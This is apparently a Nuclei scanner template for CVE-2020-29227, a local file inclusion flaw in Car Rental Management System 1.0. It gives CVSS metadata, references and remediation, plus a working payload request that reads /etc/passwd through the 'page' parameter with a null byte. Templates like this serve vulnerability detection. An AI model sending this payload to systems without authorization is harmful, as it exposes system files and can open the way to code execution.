id: CVE-2020-29227 info: name: Car Rental Management System 1.0 - Local File Inclusion author: daffainfo severity: critical description: Car Rental Management System 1.0 allows an unauthenticated user to perform a file inclusion attack against the /index.php file with a partial filename in the "page" parameter, leading to code execution. remediation: | Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in the Car Rental Management System 1.0. reference: - https://loopspell.medium.com/cve-2020-29227-unauthenticated-local-file-inclusion-7d3bd2c5c6a5 - https://nvd.nist.gov/vuln/detail/CVE-2020-29227 - https://www.sourcecodester.com/php/14544/car-rental-management-system-using-phpmysqli-source-code.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-29227 epss-score: 0.00766 epss-percentile: 0.79118 cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:1.0:*:*:*:*:*:*:* metadata: max-request: 1 vendor: car_rental_management_system_project product: car_rental_management_system tags: cve,cve2020,lfi http: - method: GET path: - "{{BaseURL}}/index.php?page=/etc/passwd%00" matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4b0a00483046022100e7d3a16ccb53f127c5b1802c0190321704b13c2ee67d8480b9eeeb814fb4a71a022100fdb14ef248e34abb807fcaf8db94d6628e72d85d7088f6fb961662529f5cff2e:922c64590222798bb761d5b6d8e72950